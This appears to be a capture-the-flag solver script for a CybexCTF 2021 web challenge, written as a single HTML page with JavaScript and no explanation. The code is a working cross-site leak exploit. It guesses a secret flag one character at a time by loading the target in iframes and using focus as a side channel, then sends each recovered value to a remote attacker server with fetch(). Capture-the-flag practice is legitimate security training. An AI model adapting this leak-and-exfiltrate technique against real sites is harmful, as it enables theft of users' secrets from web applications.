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February 15, 2021 15:18
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CybexCTF 2021's WaloW3b solver.
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| <html> | |
| <head> | |
| <meta charset="UTF-8"> | |
| </head> | |
| <body> | |
| <script> | |
| const localURL = "https://127.0.0.1:4000" | |
| const remoteURL = "https://your.server" | |
| const alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"!¡¿?&%'(),-/:;<=>@[\\]_`{}~".split(""); | |
| let known = "CYBEX{¡wAlO_`L0v3S`_¿f0cUs?&Sam3SiT3!}"; | |
| let iterator = 0; | |
| if (location.search.substr(1)) { | |
| window.addEventListener("message", (event) => { | |
| const frame = document.createElement('iframe'); | |
| frame.src = `${localURL}/walomsg?flag=${encodeURIComponent(event.data)}&msg=foo#msg`; | |
| frame.onload = function () { | |
| setTimeout(() => { | |
| if (document.activeElement != document.body) { | |
| event.source.postMessage(event.data, "*"); | |
| } else { | |
| event.source.postMessage("justCloseMe", "*"); | |
| } | |
| }, 500); | |
| } | |
| document.body.appendChild(frame); | |
| }); | |
| } else { | |
| window.addEventListener("message", (event) => { | |
| if (event.data != "justCloseMe") { | |
| known = event.data; | |
| fetch(`${remoteURL}/FLAG/${encodeURIComponent(known)}`) | |
| } | |
| event.source.close(); | |
| }); | |
| setInterval(function () { | |
| let char = alphabet[iterator]; | |
| console.log(`Testing ${known}(${char})`); | |
| let win = window.open(`${location.href}?foo`, "_blank"); | |
| win.addEventListener("load", function () { | |
| win.postMessage(`${known + char}`, "*"); | |
| }) | |
| if (iterator == alphabet.length - 1) { | |
| iterator = 0; | |
| } else { | |
| ++iterator; | |
| } | |
| }, 50); | |
| } | |
| </script> | |
| </body> | |
| </html> |
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